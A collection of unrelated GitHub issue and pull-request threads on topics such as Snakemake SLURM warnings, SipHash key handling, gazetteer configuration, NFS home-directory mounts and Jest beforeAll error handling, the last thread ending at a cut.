Already, two issues (#75 and #22) seem to result from running Snakemake in a SLURM job context and using this executor plugin. This PR introduces detecting if triggered within a SLURM job and issuing a warning accordingly.
In principle, the plugin may work in job context. Submitting jobs from jobs has always been a highlight of SLURM. However, settings may lead to unintended behaviour (and would do so without Snakemake, presumably). Hence, we can only warn from the executor.

@johanneskoester I think this is a rather trivial change - however, I do not know how to extend the test suite for it. Pointers? Or can it be merged like that?

@johanneskoester I consider this an urgent PR - there are always people you try something like this.

waited long enough


Add method to check plugin version code for the Automate Engine

The RedHat domain on disk version and the version in the db can differ. At the moment we only run this check via the UI after an upgrade if the worker role is on. We've had requests to log the information instead and it maybe makes more sense to do it as part of the plugin setup.
Fixes https://bugzilla.redhat.com/show_bug.cgi?id=1693362
depends on
https://github.com/ManageIQ/manageiq-automation_engine/pull/322

@miq-bot add_label enhancement
@miq-bot add_reviewer @jrafanie
@miq-bot add_reviewer @Fryguy
@miq-bot add_reviewer @gmcculloug
@miq-bot assign @gtanzillo

The method name .version_check doesn't evoke what it's supposed to do.  Need to think on a name.  Otherwise, this looks good.

I just realized that this isn't necessary.  All plugins can have initializers, and your version check can be implemented as a normal initializer.

@Fryguy it can't be an initializer because we can't query the database in an initializer

I mean I guess this was a bug?
@miq-bot add_label bug


Potential improvement for U-Turn detection

See https://github.com/stan-dev/stan/pull/2800 and https://discourse.mc-stan.org/t/nuts-misses-u-turns-runs-in-circles-until-max-treedepth/9727/36?u=betanalpha

Related PyMC3 PR: https://github.com/pymc-devs/pymc3/pull/3605

Related issue in DHMC.jl: https://github.com/tpapp/DynamicHMC.jl/issues/115

Closed by https://github.com/TuringLang/AdvancedHMC.jl/pull/207.


siphash::HashEngine::new and siphash::HashEngine::default look very wrong

I tried to find reference for when using zero keys is reasonable and couldn't find any. I believe using zeroes strongly indicates wrong usage and these methods should've never been implemented. I suspect they are a result of the macro and HashEngine trait not supporting non-default hashers and instead of dropping the requirement the constructors got hard-coded keys.

I believe you're correct. We should just drop both methods (though we may need to mess with the HashEngine trait to do so). None of the standard test vectors use zeros. These functions date to https://github.com/rust-bitcoin/bitcoin_hashes/pull/46 written by Steven who "didn't know anything about the internals" and reviewed by me who blindly asked for some test vectors then "didn't verify them". The zero-key thing was not mentioned. I suspect I noticed it and assumed that it could be useful as a fast hasher in non-secure contexts. But obviously "fast and insecure" should not be a default mode for anything in this library (and it's not even faster than siphash with real keys; it's just faster than the other unkeyed hashes in this library).

I'd be happy to take a crack at this since I think it would help me with the ChaCha20Poly1305 PR, but also aware there is a lot of work going on in hashes right now and don't want to cause unnecessary churn.

@nyonson I think you can, unless @tcharding has a PR ready or something. I think we need to split out everything but those impls from internal macro to another one, call that from the original and then just call the new one from siphash and poly.

Go for it @nyonson, happy to have the help.

@tcharding I have been poking around on how to shift things and believe I see @Kixunil's point now. Would like to run a few things past you guys to make sure I have a good understanding of the problem.

The hashes interface assumes an unkeyed hash function is being used as the engine. This allows for the nice bytes in => hash out function APIs for callers where the engine is fired up with default values under the hood.
This assumption is codified with the HashEngine type requiring the Default trait. It is leveraged in the new GeneralHash type as well as the hash_type and hash_trait_impls macros.
SipHash, and Poly1305, are keyed hash functions, requiring secret data to create an instance of an engine. This is at odds with the nice bytes in => hash out functions which I believe are a high priority for the hashes re-write.

Feels like this new requirement justifies splitting off a whole knew "keyed" version of the existing HashEngine and hash macros. The Hash type itself appears to be agnostic to keyed or unkeyed engines. Since the hash macros are internal, it might get a little ugly, but probably pretty easy to create "keyed" versions which drop any Default-y things. And while it is easy enough to copy/paste a KeyedHashEngine type which drops the Default req of HashEngine, there might be a little naming exercise with another shared trait there since it is public.
I'm hacking on this, but figured out throw out what I am thinking since I would like to avoid any major conflicts in the public API if possible.

Concept ACK from me. As for avoiding conflicts .. maybe you are aware of #2881 and related issues? We are doing a lot of changes to the hashes API.
My suggestion would be that you create a whole new KeyedHashEngine trait, and a new set of macros (if you think you even need them) and avoid touching the existing traits and macros. Then depending what you come up with we can have a discussion ... possibly we don't even need the trait, and it's fine for the two keyed hash engines to just have inherent methods.

I don't think we have to have KeyedHashEngine. Just drop the Default bound from HashEngine and then write HashEngine + Default where needed. (Probably only GeneralHash::engine, GeneralHash::hash and GeneralHash::hash_byte_chunks.)
The trait could be beneficial for implementing the hash method though:
pub trait KeyedHashEngine: HashEngine {
    type Key;

    fn new(key: Self::Key) -> Self;
}

pub trait GeneralHash {
    type Engine: HashEngine;

    fn hash(input: &[u8]) -> Self where Self::Engine: Default { /* ... */ }

    fn hash_with_key(input: &[u8], key: <Self::Engine as KeyedHashEngine>::Key) -> Self where Self::HashEngine: KeyedHashEngine { /* ... */ }
}

Also for consideration: impl<T: HashEngine + Default> KeyedHashEngine for T { type Key = (); /* ... */ }

Ah, pushing Default up like that makes a lot of sense, especially if cool with messing with the public API now. I'll explore that.

This is done, might have been in #3222


Verbosity flags in bluesky-0MQ-proxy CLI tool are not respected.

Bug Report
Formerly,
bluesky-0MQ-proxy 5577 5578 -v

would write log messages to help debug data flow through the network. Now, no logs appear.
Possible Solution
I suspect the changes to logging in bluesky about a year ago created this bug and it wasn't noticed until now.
Steps to Reproduce (for bugs)
Follow this example https://blueskyproject.io/bluesky/callbacks.html#subscriptions-in-separate-processes-or-host-with-0mq
and feed the RE a plan like
from bluesky.plans import count
RE(count([]))  # emits a 'start' and 'stop' doc

## Context

This was noticed during a group-coding session at ALS. Both @JulReinhardt and @danielballan reproduced the issue.

The issue is resolved in PR https://github.com/bluesky/bluesky/pull/1439


When you open the PDF, when you try to override, can not be control.

My PC is Windows7.
It is not a critical.
I can be closed using the Task Manager.

Thank you reporting. This issue is also occurred in my Windows 10 when I had opened PDF file in the other process (e.g. Adobe Reader).
Currently Marp can't detect file locking state. I would keep investigating the cause...

Thanks for watching.
I created eletctron test-project in my repository.
printToPDF error handling is correctly moving.
Please look at your error handling.

Oh, I know. Marp's error handling is not correctly.
We would fix it as to show dialog when saving to locked file.

We merged #113. Marp v0.0.10 (as known as v<IP_ADDRESS>) is going to release soon.


App get crashed by tapping on ‘Save Image’ option from share menu options while sharing code image

Frequency: 100%
App version: iOS Test flight build 1.6.0 (21)
Repro on: iPod Touch 6th Gen (12.4), iPhone XS Max (13.1 beta)
Testing Account:<PHONE_NUMBER>/backup Key
Repro Steps:

Launch the app and login with testing account.
Tap on ‘QR Code’ icon
Tap on ‘Share Code Image’ button
Tap on ‘Save Image’ icon from share menu option and Observe

Current Behavior: App gets crashed by tapping on ‘Save Image’ option
Expected Behavior: QR code image should be saved in device
Attachment: iOS_App get crashed by tapping on Save Image.mp4 (Bug observed at 12 sec)

Sentry Links: https://sentry.io/organizations/celo/issues/1499400550/?project=1250733&query=is%3Aunresolved
https://sentry.io/organizations/celo/issues/1499413650/?project=1250733&query=is%3Aunresolved

Verified with IOS test flight build celo integration wallet v1.8.2 (37) and found that issue is fixed.

Verified with IOS test flight build celo integration wallet v1.8.2 (37) and found that issue is fixed.


Gazetteer

The gazetteer endpoint will be removed.
Gazetteer queries to a layer will use a stored query gaz_query through the query module.
module.exports = `
  SELECT
  \${label} AS label,
  \${qID} AS id
  FROM \${table}
  WHERE \${qterm}::text ILIKE \%{term}
  \${filter}
  LIMIT \${limit};`

This allows for the role and filter logic being applied through the query module instead of having to be replicated in the gazetteer module.
The query module has been expanded to replace wildcard character in substitute parameter strings.
The wildcard param will be reserved. Provided with a query a string value, eg. wildcard=* will replace any * in the substitute parameter value with a wildcard character %.
The gazetteer module has been removed.
mapp.ui.gazetteer requires a gazetteer object with a gazetteer provider and/or datasets being defined. The autocomplete input will be appended to gazetteer target in the ui method.
Multiple dataset entries can be added to the gazetteer configuration. The layer key must be defined for the location from the layer to be selected.
maxZoom can be set to limit the zoom for the flyto() location method.
A leading_wildcard flag can be set to add a wild card character before the search term.
A limit can be set to limit the results. The default is 10.
The limit, leading_wildcard, and maxZoom keys can be set in the gazetteer config itself or in the dataset entry. Dataset entry key values will override the gazetteer block config for the dataset. A table must be defined if not implicit on the layer config.
"gazetteer": {
 "maxZoom": 10,
 "leading_wildcard": true,
 "datasets": [
  {
   "layer": "retailpoints",
   "qterm": "store_name",
   "leading_wildcard": true,
   "limit": 5
  },
  {
   "layer": "oa_metrics",
   "qterm": "oa_code",
   "title": "OA Code",
   "table": "geodata.uk_glx_geodata_oa_metrics",
   "maxZoom": 10
  }
 ]
}

The oninput method of the gazetteer input will call gazetteer search method from mapp.utils.gazetteer. e.g. mapp.utils.gazetteer.datasets for a dataset/layer gazetteer. The query will be re-run with the input value on focus.
A gazetteer can also be defined on a layer. The mapp.ui.layer.panel.gazetteer() method will return an autocomplete input to be appended into the layer.view.
It is possible to define multiple datasets to search on different fields in the layer table.
The table must be specified if not implicit from the layer config.
limit and maxZoom values can either be set in the dataset config or in the gazetteer block itself. Dataset key values will override gazetteer block entries.
"gazetteer": {
 "table": "geodata.uk_glx_open_retail_points",
 "placeholder": "Search for Retail Point",
 "limit": 5,
 "datasets": [
  {
   "qterm": "store_name",
   "title": "Name"
  },
  {
   "qterm": "postcode",
   "title": "Postcode"
  }
 ]
}

Additional gazetteer method can be assigned as mapp plugins. A sample plugin for a gazetteer using the Google Places API can be found here.

 Filter current not being assigned to gazetteer

 Gazetteer: Layer-Specific gazetteer not working

 Gazetteer - Ability to link to streetview from gazetteer search result location

 Gazetteer zoom config

No default. This can be provided from the calling interface, ie. the default view script. The reason being that it should be possible to use the control without a placeholder and that the default script wants to call the placeholder from a dictionary.

No default. This can be provided from the calling interface, ie. the default view script. The reason being that it should be possible to use the control without a placeholder and that the default script wants to call the placeholder from a dictionary.

Nice! Didn't think of it that way!


Update command: m365 login, allow empty password for a pfx certificate

Usage
m365 login [options]
Description
Allow to login with a .pfx certificate that doesn't require a password.
Options
Unsure how this would be achieved (for now), just believe this should be possible.
Additional Information
I believe we should be able to use a .pfx certificate that doesn't have a password (this is the case when fetching a base64 encoded certificate from Azure Key Vault). Currently, when you don't use the --password option CLI assumes a .pem file is passed in to the --certificateFile option. Naturally, this doesn't achieve the wanted result.
Additionally, you cannot pass in an empty password to the --password option. This always results in errors.

Thanks for the suggestion. By itself, it's pretty odd though. PFX is secured by password so why would you want to use it without a password?

There is no rule that a .pfx needs to be protected by a password. When you export a .pfx certificate from Azure KeyVault, it doesn’t have a password. When you make a .pfx from a base64 encoded string, it doesn’t necessarily have a password.
Even if you export a .pfx from the Windows Certificate Store you don’t HAVE to provide a password.
It would make CLI support certificates like this, even if we consider it bad form 🙂

Right, so the recommendation is to protect your .pfx with a password because it contains a private key, but it's not necessary. Good catch! We should definitely update CLI to not require password.

I struggle with writing clean code for #1973 without also making changes for this improvement... Can I have this one too? I'll make separate PR's ;)

Sounds like a plan! Appreciate your help! 👏

I didn't like my plan anymore, thinking of how to implement this one so we could easily also implement #1971 .
Current approach:

assume certificate in Buffer is PEM, and decode it.
-- if works => great, it is PEM
-- if fails with exception ==> assume PFX and continue PFX code path

It's not the cleanest of code but I cannot figure out how to determine if a base64 encoded string is a pem or a pfx without doing the actual conversion and letting it throw the exception if it isn't pem.
Also, I figured it isn't worse than the current solution since that assumes PEM when --password is not provided with no fallback.
I get it might be difficult to follow along without seeing the actual code. It's more for future reference: as an answer to why the implementation differs from what has been discussed.

I get it might be difficult to follow along without seeing the actual code.

Feel free to submit a draft PR and lets discuss 😊👍🏻

@garrytrinder The PR is waiting for you 😉


Add MDX format support? Or at least allow *.mdx file extension

We have some fancy framework for our API documentation website - it works on top of Markdown format.  If they are not recognized&processed - they are just text. MacDown app shows them like that and it is great because allows 95% of editing and preview.
This would be great to also do in your plugin because editing in well-known IntelliJ editor is way better than any other app.

I learned about *.mdx, and the plug-in cannot guarantee compatibility with this format.
According to your description, most of them are compatible with md. You can try to set the .mdx suffix to Markdown format, so that the plug-in can be edited with the plug-in.

That does work. Though then a separate MDX entry in that list had to be cleared. Unclear how that might affect other features yet. Possibly adding support for the MDX entry itself might be useful. That said, that might be coming from a different plugin. Not sure.


Figure out Analytics

Referring site?
Phone vs pc?
Usage numbers.
Usage patterns.
Do it in a way that values individual privacy. (Afraid to use google analytics)

Ended up creating a google analytics account, and adding to this and sister sites: https://github.com/rrelyea/evusheld/commit/3e02a19eb485d7d04ef60e44f9392b7f44fe477e


[xnnpack] create a new port

What does your PR fix?
There was no port request for this project. The PR requires #17063.
This is one of the 3rd party libraries for the PyTorch project. The PR will be used for future support of the libtorch port.
Related Works

nnpack #16344: has same dependencies
qnnpack #17065: has same dependencies

Which triplets are supported/not supported? Have you updated the CI baseline?
Targets general desktop triplets.

x64-osx
x64-windows
x64-linux

Does your PR follow the maintainer guide?

The library doesn't have a tag/release. Used version-date.
Changes per port - will be rebased after merge of #17063

Note for the failure in Windows
Requires pthreadpool.lib. It would be better if the port pthreadpool can support find_package.

Linux

https://github.com/google/XNNPACK/pull/1391 fixed the SIMD errors. changing code snapshot to 2021-04-10

This PR will be rebased after #17063 and  #17196 are merged.


CVRP multiple cargo:How to constraint every node to be visited only by one vehicle?

The problem with multiple cargo is that the final route allows a node to be visited by multiple vehicles in order to deliver all the cargo  and we do not want that to happen in our solution

It never happens.
Le dim. 1 déc. 2019 à 15:10, Nikos Iosifidis<EMAIL_ADDRESS>a
écrit :

The problem with multiple cargo is that the final route allows a node to
be visited by multiple vehicles in order to deliver all the cargo and we do
not want that to happen in our solution
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/google/or-tools/issues/1756?email_source=notifications&email_token=ACUPL3PTL3AX5DHW63YCOBDQWPAVJA5CNFSM4JTL3MO2YY3PNVWWK3TUL52HS4DFUVEXG43VMWVGG33NNVSW45C7NFSM4H5CNHQA,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACUPL3PWSPNQ22YVLSFQ7C3QWPAVJANCNFSM4JTL3MOQ
.

I am afraid it DOES HAPPENS see : https://github.com/google/or-tools/issues/942,
4. Lastly, and this is VERY IMPORTANT as well. How do I make sure that when a truck visits a location, it delivers everything in one go? I did have an issue earlier when Products 1,2,3,4 were delivered by Truck A and Product 5 was solely delivered by Truck B. Due to cost issues, I cannot split the delivery into two Trucks.
Can i use a dimension to count number of different vehicles (vehicle ID's) that pass from a node and contraint this dimension to be at most one ?


Allow admins to rename user home directories

I'm not sure at all about this and I would be super grateful if got some help understanding this.
What I think the pilot-hubs persistent storage setup looks like:

there is a nfs server for persistent storage

it's running at: serverIP: nfs-server-01

nfs baseShareName is the location on the nfs server where all the home directories are

baseShareName: /export/home-01/homes
each "release" (staging, dask-staging, etc) gets their own volume (staging-home-nfs, dask-staging-home-nfs etc)

baseShareName is also used to mount this nfs share inside the cluster (is it ???). We're mirroring the file hierarchy of the nfs server inside our cluster.

The way I understood the issue is that we want another "pointer" in our cluster to the location in the nfs server where the home dirs actually are. This pointer has to be somewhere where all the admins have rw access.
What this PR tries to do is to mount the nfs share (where the home dirs are) to a new location inside the cluster (clusterMountPath).
P.S. I read the https://docs.datahub.berkeley.edu/en/latest/admins/storage.html which seemed similar with the setup we have here (it's just implemented differently)

Thanks for opening this, @GeorgianaElena! We don't have many docs on our storage layer, so hopefully this will help.
NFS Server setup

We have 1 NFS Server per cluster, often located at nfs-server-01. This is currently hand configured, but should change.
The NFS Server has a persistent disk mounted specifically for the home directories of users. This makes it independent from rest of the VM, and can be grown / snapshotted differently.
This disk is mounted inside the NFS server at /export/home-01. You can check this out by sshing into the nfs server ( gcloud compute ssh nfs-server-01 --zone=us-central1-b) and running mount or opening /etc/fstab.
This disk is then made available via NFS to be mounted by everything in the cluster, via this in /etc/exports: /export/home-01 <IP_ADDRESS>/8(all_squash,anonuid=1000,anongid=1000,no_subtree_check,rw,sync). /etc/exports is an NFS thing, there sohuld be documentation around it in places.

NFS Client setup
For reach hub, we want to:

Hub directory creation: Make sure there's a directory created under /export/home-01 for that hub. So /export/home-01 is nfsPVC.nfs.baseShareName - the base directory under which each hub has a directory.
Hub user mounting: Mount /export/home-01/<hub-name>/<username> for each user pod. This name is dynamically determined as a combination of nfsPVC.nfs.baseShareName and the current release name.

Hub Directory Creation
For (1), we previously automated it with gcloud (#119) but now have a better solution with helm hooks (#255).

For each deployment, we create this job via helm hooks. It'll be created pre-deploy, run, and cleaned up before deployment proceeds.
This job will mount nfsPVC.nfs.baseShareName, and make sure the directory for the hub is present there with appropriate permissions. Then it exits.

Ideally, this would only happen once per hub setup - but we don't have a clear way to do that yet.
Hub user mounting
Now comes the interesting part - actually giving a home directory to each user.

For each hub, we create a PersistentVolumeClaim and PersistentVolume that points to the hub directory created for it. This is the kubernetes Volume that refers to our actual storage. z2jh then mounts this PersistentVolumeClaim on the pod as a volume named "home". So this volume points to /exports/home-01/<hub-name>
We can then mount (make visible) different parts of this volume in different places for our user. :

user home directory. Note the subPath - that refers to a subdirectory in the volume to mount at that given location. This is special syntax for z2jh - it will now mount into /home/jovyan (the mount path) the contents of the path /exports/home-01/<hub-name>/<username>, which is exactly what we want. This subpath is created if it doesn't already exist.
The shared directory is mounted at /home/jovyan/shared for all users, and it is the contents of /exports/home-01/<hub-name>/_shared. The _shared is just convention for a username that won't be allowed in most cases (because of the leading underscore) - WHICH IS MOST LIKELY AN INVALID ASSUMPTION AND SHOULD BE CHANGED! not right now though. We use the readOnly option to make this particular mount readonly - users can't write to it.
The shared directory is again mounted at /home/jovyan/shared-readwrite but just for admins. This is a feature we have that lets us provide extra config for admin users only. This volumeMount is not readonly, so admins can write to it.

To recap, we have:

1 NFS Server (nfs-server-01)
With one disk mounted at /exports/home-01.
With one directory (share in NFS terminology for this use case) created at /exports/home-01/<hub-name> (via helm hook)
With one PersistentVolumeClaim (https://github.com/2i2c-org/pilot-hubs/blob/c4986d52c1f83605683956492c2e3353122478ff/hub-templates/base-hub/templates/nfs-pvc.yaml#L1) created for each hub, pointing to /exports/home-01/<hub-name>
Made available by z2jh as a volume named "home" for each pod
With a volumeMount at /home/jovyan of the subPath of <username> in the  volume home - so the subdirectory /exports/home-01/<hub-name>/<user-name>. This is created if needed.
A readOnly volumeMount of the same volume, but with a subpath of _shared (so directory /exports/home-01/<hub-name>/_shared) for all users (https://github.com/2i2c-org/pilot-hubs/blob/c4986d52c1f83605683956492c2e3353122478ff/hub-templates/base-hub/values.yaml#L105)
A readWrite volumeMount of the same volume, with subpath of _shared (so directory /exports/home-01/<hub-name/_shared) just for admins. So we can mount the same subdirectory in different places with different options

For this task, what we want to do is mount /exports/home-01/<hub-name> (referenced by the volume home in the pod) to /home/jovyan/shared/user-homes (or similar paths) just for admins. We can do this similar to how we setup shared-readwrite, just without a subPath.
This is a lot, so I hope it makes sense! This is a lot of stuff! To have a good handle on how this works a little deeper, I'd suggest reading about: NFS, NFS Shares, Mounts and Bind Mounts.

Thanks A LOT @yuvipanda for making this clear :heart:
I have mounted the home dirs to /home/jovyan/admin-readwrite/user-homes to make it clear that is only visible and modifiable by admins and it's not shared anywhere else. Is this ok?

Thanks a lot, @GeorgianaElena! This looks good, but I want us to have a consistent naming scheme for shared stuff before we merge this. See https://github.com/2i2c-org/pilot-hubs/issues/262/
So maybe we can make 'admin' be something that's visible to just admins, and is always readwrite. So we could make this into admin/user-homes? And later, we can move shared-readwrite to admin/user-shared or similar.
How does that sound?

So maybe we can make 'admin' be something that's visible to just admins, and is always readwrite. So we could make this into admin/user-homes? And later (if we so choose), we can move shared-readwrite to admin/user-shared or similar.

I really like this!

Should we consider this PR blocked until https://github.com/2i2c-org/pilot-hubs/issues/262 is resolved?

@choldgraf yep! These conventions are going to stick for a while, so let's get it right. There's no current pressing need.
I'll mark this as a WIP

Gotcha - I've removed this from our active board, added some tasks to #277, and added that to our projects board 👍

I will close this PR since it's been opened for a long time and if we decide to pick this up again I believe we should open a new one.
The discussion here (that has turned into docs) is the truly valuable part!


Add Python 3.4 back, now that PyEnsembl works

Now that PyEnsembl runs on Travis, the 3.4 run for topiary should work.

LGTM


Support alignment change in ER diagrams

At the moment, there is no way to align in ER diagrams: tried to move each border separately (longer text might be shown incorrectly) and tried to align all at once.
Asked in https://drawio.atlassian.net/browse/DID-1840
The same issue in diagrams.net online.

Fixed with new ER tables.


🌸 Further loosen selector conflict checks

Cherry-picks #60081 to release/5.7:

Some mixed-language projects import Objective-C headers through their umbrella or bridging header that declare things that are actually implemented in Swift. This isn’t something we really supported or had tests for, but it happens in practice and we can’t break them.
Carve out a second exception to method conflict checking for when all of the conflicting methods are imported ObjC methods in either the same module or a bridging header.
Fixes rdar://96470068.

@swift-ci test

@swift-ci test macOS


Edit changelog note post Save.

For Feature Requests
Desired Feature: Edit changelog note post Save.
After i have saved a change to a page and then realise i wanted to put a note in the change log currently i cannot do this.

Request for this via our support service (ticket 60) with added input:

The functionality is mainly needed for changes made due to a new software version – so all the users can see that this ( usually major) change was made due to the new version.
Unfortunately – if one forgets to write the change reason in advance – you are “stuck” and have to redo it all again/
Also you will need to return to a previous version and therefore “spoil” the changes page (because it automatically mentions the “return back” in the page)

The last line is in reference to the auto-generate changelog message use when a revision is restored.


Weird behaviour by CSS in echoed raw HTML

Issue summary
margin-block-start has no effect and messes up terminal appearance.
Expected behaviour
There should be a 1em margin above the h2 element; other terminal styles should not be affected.
https://codepen.io/suibianp/pen/NWgzpVv
Actual behaviour
A white bar appears above the terminal, and the cursor grows much bigger. Moreover, margin-block-start has no effect on the heading.
Steps to reproduce
https://codepen.io/suibianp/pen/ZEyReQJ
Browser and OS
Firefox 92.0 (64-bit), Manjaro Linux

I was fixing broken CSS a lot of time, and I'm tired. I will add to documentation that should not use * selector any custom CSS. For this, to work I will need to force every possible CSS property that exists in the specification and update the library when the browser decides to create new CSS property.
Please don't use * selector, it will probably break a lot of JavaScript libraries that are out there.

Note that if you want to affect your own HTML inside terminal (from raw echo) you should use:
.terminal. raw * {

}

Also, this doesn't make any sense to echo the whole HTML page including html and body tags. There should be only one html and body tag on the page.


Adjustments to the documentation

Summary
Changed

Integrates navigation and table of contents for a cleaner and less confusing look. Works on all platforms.
Enables use of code snippets from external files.

Made some minor additions. Made the examples v1.5 compatible. You can review before merging. Checked out "mike" for versioning. That would require that we remove the gh action that builds the documentation and maintain the gh-pages branch locally using mike. We should probably maintain one branch corresponding to each version of the documentation we're serving - otherwise we will not be able to easily maintain that version

I agree that we leave versioning for now.


Update Jenkins and Teamcity executor option structure.

@David-Jonathan @Neko-Design
Let's make the Jenkins and TeamCity executors take 'jobName' and 'parameters' to be more generic as discussed - eg:
{
    "executor": "Jenkins",
    "context": "run e2e tests",
    "options": {
        "jobName": "EXECUTE_AUTOMATED_TESTS",
        "parameters": {
            "TAGS": "['@project-tag', '@##GHREPONAME']",
            "ENVIRONMENT": "test1"
        }
    }
}

..and update the wiki page with token info.
https://github.com/wyvern8/github-task-manager/wiki/Structure-of-.githubTaskManager.json

closing this as completed


Isolated regions / Per Container IP - impact on marathon UI

Hi,
I was reading this doc. about "Per-Container IP"
https://docs.google.com/document/d/17mXtAmdAXcNBwp_JfrxmZcQrs7EO6ancSbejrqjLQ0g/edit
It'd be really useful and a great improvement re-think UI to allow operate with this functionality (different isolated regions where apps're running inside Marathon). In that sense, I've made prototype for that and modify the original doc. adding the features that I consider more vital. In the next days I'm gonna add a basic visual design for it to the doc.
11 Impact on Marathon UI

General requirements

Login feature to replace current “Basic Authentication”.
User can authenticate as application developer / datacenter operator.

Application developer role

Will have only access to the applications that run.
By default, the apps are gonna running in a default isolated region created by default for a specific application developer. For instance: default-region
Are able to create new isolated regions inside his default-region
Modify the application list view to group applications by regions in application developer profile.
Add a new option in the Application create view to allow select a region where the app are gonna running (allays available region by  default-region)
attached an approach

Datacenter operator role

Will have a full access
Are able to admin every region in Marathon
Are able to create new users
Will need a “Create user view” to signup new users
When a new user is created a new isolated region is created for this user

What do you mean about it? Is there similar feature described in other issue?
I didn't find something like this....
related with #3745

cc @air

Note: This issue has been migrated to https://jira.mesosphere.com/browse/MARATHON-2048. For more information see https://groups.google.com/forum/#!topic/marathon-framework/khtvf-ifnp8.


beforeAll async hook hides errors

🐛 Bug Report
The beforeAll hook hides errors.
To Reproduce
beforeAll(async () => {
    throw new Error('Y U NO SHOW?!')
});

Expected behavior
Errors thrown in beforeAll hooks should be thrown and not get swallowed up.
Such a failure should also kill further testing for that file/parallel process given that whatever failed in beforeAll would be crucial for continued testing of that parallel.
Run npx envinfo --preset jest
Paste the results here:
npx: installed 1 in 0.736s

  System:
    OS: macOS 10.14.1
    CPU: (12) x64 Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz
  Binaries:
    Node: 12.6.0 - ~/.nvm/versions/node/v12.6.0/bin/node
    npm: 6.9.0 - ~/.nvm/versions/node/v12.6.0/bin/npm
  npmPackages:
    jest: ^24.8.0 => 24.8.0

Hi @iyobo,
This issue is somewhat related to https://github.com/facebook/jest/pull/8654.
It's great that you've raised this issue, but I'd suggest changing the description a bit since it's not an accurate description of the actual problem.
The actual problem is not that the error in beforeAll gets hidden, the problem is that even though beforeAll fails, the subsequent tests still run. This problem is the same as the one we've had with beforeEach in https://github.com/facebook/jest/issues/2867.
Reproducible
You can see a minimal reproducible version on top of the current master in here and run it with yarn repro.
beforeAll(async () => {
  throw new Error('Error in beforeAll');
});

describe('tests', () => {
  it('test 1', () => {
    console.log('first: runs!');
  });

  it('test 2', () => {
    console.log('second: runs!');
  });
});

The behaviour in jest-jasmine2
In jest-jasmine2 the error thrown by beforeAll will be used as the error for the subsequent tests and they will still run.

Current log of the reproducible in `jest-jasmine2`
➜ yarn repro
yarn run v1.15.0
$ yarn jest e2e/__tests__/beforeAllAbortsTests.test.ts
$ node ./packages/jest-cli/bin/jest.js e2e/__tests__/beforeAllAbortsTests.test.ts
 FAIL  e2e/__tests__/beforeAllAbortsTests.test.ts
  tests
    ✕ test 1 (5ms)
    ✕ test 2 (1ms)

  ● tests › test 1

    Error in beforeAll

      1 | beforeAll(async () => {
    > 2 |   throw new Error('Error in beforeAll');
        |         ^
      3 | });
      4 |
      5 | describe('tests', () => {

      at Object.<anonymous> (e2e/__tests__/beforeAllAbortsTests.test.ts:2:9)
      at asyncGeneratorStep (e2e/__tests__/beforeAllAbortsTests.test.ts:3:103)
      at _next (e2e/__tests__/beforeAllAbortsTests.test.ts:5:194)
      at e2e/__tests__/beforeAllAbortsTests.test.ts:5:364
      at Object.<anonymous> (e2e/__tests__/beforeAllAbortsTests.test.ts:5:97)

  ● tests › test 2

    Error in beforeAll

      1 | beforeAll(async () => {
    > 2 |   throw new Error('Error in beforeAll');
        |         ^
      3 | });
      4 |
      5 | describe('tests', () => {

      at Object.<anonymous> (e2e/__tests__/beforeAllAbortsTests.test.ts:2:9)
      at asyncGeneratorStep (e2e/__tests__/beforeAllAbortsTests.test.ts:3:103)
      at _next (e2e/__tests__/beforeAllAbortsTests.test.ts:5:194)
      at e2e/__tests__/beforeAllAbortsTests.test.ts:5:364
      at Object.<anonymous> (e2e/__tests__/beforeAllAbortsTests.test.ts:5:97)

  console.log e2e/__tests__/beforeAllAbortsTests.test.ts:7
    first: runs!

  console.log e2e/__tests__/beforeAllAbortsTests.test.ts:11
    second: runs!

Test Suites: 1 failed, 1 total
Tests:       2 failed, 2 total
Snapshots:   0 total
Time:        1.126s, estimated 2s
Ran all test suites matching /e2e\/__tests__\/beforeAllAbortsTests.test.ts/i.
error Command failed with exit code 1.

The behaviour in jest-circus
In jest-circus the error thrown by beforeAll will be used as the error for the subsequent tests and they will not be executed.

Current log of the reproducible in `jest-circus`
➜ JEST_CIRCUS=1 yarn repro
yarn run v1.15.0
$ yarn jest e2e/__tests__/beforeAllAbortsTests.test.ts
$ node ./packages/jest-cli/bin/jest.js e2e/__tests__/beforeAllAbortsTests.test.ts
 FAIL  e2e/__tests__/beforeAllAbortsTests.test.ts
  tests
    ✕ test 1 (3ms)
    ✕ test 2

  ● tests › test 1

    Error in beforeAll

      1 | beforeAll(async () => {
    > 2 |   throw new Error('Error in beforeAll');
        |         ^
      3 | });
      4 |
      5 | describe('tests', () => {

      at e2e/__tests__/beforeAllAbortsTests.test.ts:2:9
      at asyncGeneratorStep (e2e/__tests__/beforeAllAbortsTests.test.ts:3:103)
      at _next (e2e/__tests__/beforeAllAbortsTests.test.ts:5:194)
      at e2e/__tests__/beforeAllAbortsTests.test.ts:5:364
      at e2e/__tests__/beforeAllAbortsTests.test.ts:5:97

  ● tests › test 2

    Error in beforeAll

      1 | beforeAll(async () => {
    > 2 |   throw new Error('Error in beforeAll');
        |         ^
      3 | });
      4 |
      5 | describe('tests', () => {

      at e2e/__tests__/beforeAllAbortsTests.test.ts:2:9
      at asyncGeneratorStep (e2e/__tests__/beforeAllAbortsTests.test.ts:3:103)
      at _next (e2e/__tests__/beforeAllAbortsTests.test.ts:5:194)
      at e2e/__tests__/beforeAllAbortsTests.test.ts:5:364
      at e2e/__tests__/beforeAllAbortsTests.test.ts:5:97

Test Suites: 1 failed, 1 total
Tests:       2 failed, 2 total
Snapshots:   0 total
Time:        1.036s
Ran all test suites matching /e2e\/__tests__\/beforeAllAbortsTests.test.ts/i.
error Command failed with exit code 1.

Multiple failing beforeAll hooks
Both in jest-circus and jest-jasmine2, if there are multiple beforeAll hooks and one of them fails, all the subsequent beforeAll and afterAll hooks will still run. The same behaviour is valid for afterAll: all of them will still run even if one fails.
beforeAll(async () => {
  throw new Error('Error in beforeAll');
});

beforeAll(async () => {
  throw new Error('Error in second beforeAll');
});

describe('tests', () => {
  it('test 1', () => {
    console.log('first: runs!');
  });

  it('test 2', () => {
    console.log('second: runs!');
  });
});

afterAll(async () => {
  throw new Error('Error in first afterAll');
});

afterAll(async () => {
  console.log('second afterAll still runs');
});

Actual Desired Behaviour (?)
